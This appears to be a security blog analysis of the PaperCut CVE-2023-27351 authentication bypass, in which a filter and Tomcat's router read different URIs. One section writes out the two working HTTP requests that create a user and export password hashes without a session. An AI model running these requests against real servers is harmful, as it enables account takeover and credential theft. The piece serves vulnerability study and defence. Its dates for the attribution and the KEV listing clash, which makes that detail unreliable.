The Filter and the Router Are Reading Different URIs
The Zero Day Initiative published advisory ZDI-23-232 on March 14, 2023, hours after PaperCut shipped the fix. The vulnerability description is two sentences. They are still the only public sentences PaperCut has authorized about the bug:
The specific flaw exists within the SecurityRequestFilter class. The issue results from improper implementation of the authentication algorithm.
The product is closed source. Nobody has shipped a decompile of SecurityRequestFilter. The bypass behavior, the Java Servlet specification, and Tomcat's documented routing leave one filter shape consistent with all three.
PaperCut's appliance is a Java application running on an embedded Tomcat. SecurityRequestFilter is a javax.servlet.Filter registered ahead of the REST handlers. Its job is to allow a small set of unauthenticated paths through (a /keepalive health probe, a few static asset paths, the install-time setup endpoints) and reject everything else without a session.
The Java Servlet API gives a filter several ways to read the inbound URL. They are not the same string.
// As the client sent it. Includes path parameters (everything after ';' in any segment).
HttpServletRequest.getRequestURI()
// -> "/rpc/api/rest/master/user/createInternalUser;/keepalive"
// After Tomcat normalization. Path parameters stripped before servlet mapping.
HttpServletRequest.getServletPath()
// -> "/rpc/api/rest/master/user/createInternalUser"
HttpServletRequest.getPathInfo()
// -> null
The semicolon path parameter is RFC 3986 §3.3, the same construct used for ;jsessionid in cookieless sessions. Tomcat strips path parameters by default at the connector layer, before resolving the servlet mapping. Spring Security's own documentation names the hazard:
There is a danger that, when an application is deployed in a container that does not strip path parameters from these values, an attacker could add them to the requested URL to cause a pattern match to succeed or fail unexpectedly.
PaperCut shipped the symmetrical version of that bug. The container strips. The filter does not. The filter checks the unstripped URI for a match against an allowlist of public-by-design paths. The container routes against the stripped URI.
Filter sees: /rpc/api/rest/master/user/createInternalUser;/keepalive
^^^^^^^^^^^
allowlist hit, auth skipped
Container routes to: /rpc/api/rest/master/user/createInternalUser
^^^^^^^^^^^^^^^^^^^
privileged user-management API
The two strings disagree on what URL the request named. Both calls are correct against their own input. The predicate the developer wrote ("is this a public path?") names a structured property of the request, the resource the container will route to. The implementation tests it as a substring against the unparsed URI. The structure and the string disagree once the client puts a semicolon in the URI. This is the predicate-stringifies-the-object shape, with the gate's allow-string written into the path-parameter slot the gate didn't know it was reading. The canonical exhibit is ChurchCRM, where the same shape is implemented in PHP against Psr\Http\Message\UriInterface::__toString(). PaperCut's version is in Java against HttpServletRequest::getRequestURI(). Different language, different framework, same predicate written against the wrong representation.
Two Requests, No Session, A Hash File
The nuclei template at http/cves/2023/CVE-2023-27351.yaml captures the chain in two requests.
POST /rpc/api/rest/master/user/createInternalUser;/keepalive HTTP/1.1
Host: target.example.com
Content-Type: application/json
{"username":["evil"],"password":["s3cret"]}
The response is HTTP 200, content-type application/json, body beginning rO0A. That base64 prefix decodes to 0xACED0005, the Java serialization stream magic header. The endpoint is returning a serialized org.papercut.UserAccount object, the genuine response of createInternalUser. The keepalive endpoint is a health probe; it does not produce serialized Java objects. The serialized payload is the proof that the request reached the user-management API after the filter declined to authenticate it.
POST /rpc/api/rest/master/user/getExportedUser;/keepalive HTTP/1.1
Host: target.example.com
Content-Type: application/json
{"username":["evil"]}
Response: HTTP 200, body containing java.lang.String and HASH: followed by the password hash of the user the previous request just created. The PoC reads its own password back, which proves the read primitive works; the operational form of the same call replaces evil with the username of an existing administrator and returns a hash worth cracking. Either way, two POSTs against an internet-reachable PaperCut server in 2023 produced an attacker-controlled internal user and an exported credential record. Neither request carried an Authorization header. Neither carried a session cookie. The filter saw /keepalive. The filter let the request through.
The Bug Class Has Eight CVEs Already
The filter-versus-router URI mismatch is not a PaperCut idea. It is the oldest Java web vulnerability that is not memory corruption.
Brett Moore wrote the canonical taxonomy in 2011, Three Semicolon Vulnerabilities. Apache Shiro shipped the same primitive five separate times: CVE-2020-1957, CVE-2020-11989, CVE-2020-13933, CVE-2020-17510, and CVE-2021-41303. Undertow shipped it as CVE-2020-1757. dotCMS shipped it as CVE-2022-35740. Each advisory names a different filter and the same shape: the filter reads the URI before the container normalizes it, the container routes against the normalized form, and a ;-prefixed suffix lands in the gap. Each patch converts the filter's URI accessor to the post-normalization path the container is already using.
The Java ecosystem has standardized fixes. Spring Security's StrictHttpFirewall rejects request URIs that contain semicolons by default. The configuration to opt back in is named setAllowSemicolon(true). The line of documentation immediately following the setter says, verbatim, "this can open your application up to attacks." Tomcat strips ;jsessionid and other path parameters at the connector layer before any filter that reads getServletPath() is invoked. Modern Java auth filters read the post-normalization path or the typed UriInfo.
PaperCut wrote their own filter. It read the raw URI. NVD's affected-version range for CVE-2023-27351 runs from 15.0.0 (released February 2015) through 22.0.9 (March 8, 2023). The same allowlist function shipped without semicolon handling for slightly more than eight years.
Who Was Sitting Behind That Filter
PaperCut is the de facto print-management appliance for organizations where shared-printer accounting matters and the printer fleet is large enough to need centralized job control. Schools, universities, hospitals, law firms, government agencies, the kinds of orgs where every print job is billed to a department code or a patient record. PaperCut publishes a customer count of "more than 100 million users at over 100,000 sites." The marketing language is accurate; PaperCut sits inside a substantial fraction of the K-12 and higher-education networks in North America, the United Kingdom, and Australia, and inside enough hospitals and federal contractors to make CISA's BOD 22-01 enforcement non-theoretical.
The role the bug landed on, then, is the print-server administrator at a school district or hospital who configured PaperCut once in 2018, set the management UI to listen on the LAN, and put TLS in front of the appliance because the vendor's documentation said to. The April 2023 Lace Tempest campaign reached that administrator's box without an Authorization header, created an admin-scripting payload via 27350, and read the password file via 27351. Several US universities and at least one US health system were named in subsequent ransomware leak-site postings as having had PaperCut as the entry point during the April-to-June 2023 window. The advisory the administrator's vulnerability scanner flagged that month was 27350. The advisory it did not flag, because KEV had not yet listed it, was 27351. Both ran on the same box, by the same actor, in the same week.
The Charge
The March 8, 2023 PaperCut release patched two bugs that reach the same filter, both reported by Piotr Bazydło of Trend Micro Zero Day Initiative on January 10, 2023, in one coordinated submission. CVE-2023-27350 (ZDI-23-233) is improper access control on the SetupCompleted page that gave unauthenticated callers access to PaperCut's admin scripting feature, where running attacker-supplied Java is the documented behavior. CVE-2023-27351 (ZDI-23-232) is the path-parameter filter bypass that lets any caller invoke any REST endpoint behind SecurityRequestFilter. PaperCut's KB article PO-1216-and-PO-1219 covers both. The bugs are separately useful and operationally complementary: 27350 lands code, 27351 reads the password file.
Microsoft Threat Intelligence attributed exploitation to Lace Tempest (DEV-0950, a Cl0p ransomware affiliate overlapping FIN11 and TA505) starting April 13, 2023. The public attribution, published April 26, 2023, names both CVEs in the same paragraph as the toolkit Microsoft observed. CISA added CVE-2023-27350 to KEV the next morning, April 21, 2023, with a federal patch deadline of May 12, 2023. CISA added CVE-2023-27351 to KEV on April 20, 2026, with a federal patch deadline of May 4, 2026. The 2026 entry's knownRansomwareCampaignUse field is set to Known. That flag was already true on April 26, 2023.
The KEV catalog is not a chronological record of when bugs were exploited. It is a record of when CISA chose to require federal agencies to patch them. CVE-2023-27351 was the bug Lace Tempest used to read password hashes from PaperCut servers in April 2023, on the same boxes where CVE-2023-27350 was used to land. Both bugs were reported in the same email. Both were patched in the same release. Both were exploited in the same campaign. Their KEV entries are dated three years apart.
PoC: projectdiscovery/nuclei-templates CVE-2023-27351.yaml
The filter was correct against the URI it was looking at. The router was correct against the URI it was looking at. They were not looking at the same URL.